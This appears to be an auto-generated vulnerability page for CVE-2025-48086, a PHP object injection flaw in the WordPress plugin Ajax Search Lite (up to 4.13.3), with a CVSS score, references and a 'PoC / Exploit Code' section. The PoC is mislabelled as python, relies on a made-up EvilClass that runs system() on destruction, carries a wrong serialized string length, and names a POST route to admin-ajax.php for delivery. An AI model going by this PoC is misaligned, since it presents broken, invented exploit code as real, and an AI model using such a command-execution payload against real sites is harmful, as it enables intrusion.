CVE-2025-48086

Description

Deserialization of Untrusted Data vulnerability in wpdreams Ajax Search Lite ajax-search-lite allows Object Injection.This issue affects Ajax Search Lite: from n/a through <= 4.13.3.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Ajax Search Lite <= 4.13.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
// CVE-2025-48086 PoC - PHP Object Injection
// Target: WordPress Ajax Search Lite Plugin <= 4.13.3

class EvilClass {
    public $cmd;
    
    function __destruct() {
        // This will be executed during unserialization
        system($this->cmd);
    }
}

// Gadget chain construction (simplified example)
$payload = 'O:9:"EvilClass":1:{s:3:"cmd";s:12:"whoami";}';

// For actual exploitation, construct payload based on available gadget chains
// and send via WordPress AJAX endpoint or plugin's search functionality

echo "PoC Payload (Base64): " . base64_encode($payload) . "\n";
echo "This payload can be injected via plugin's vulnerable deserialization point.\n";

// Example attack vector:
// POST /wp-admin/admin-ajax.php
// action: ajax_search_lite_search
// asl_data: [malicious_serialized_payload]
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-48086
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-48086
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-48086/
[4] VulDB https://vuldb.com/cve/CVE-2025-48086
[5] https://patchstack.com/database/Wordpress/Plugin/ajax-search-lite/vulnerability/wordpress-ajax-search-lite-plugin-4-13-3-php-object-injection-vulnerability?_s_id=cve

Raw JSON Data

JSON

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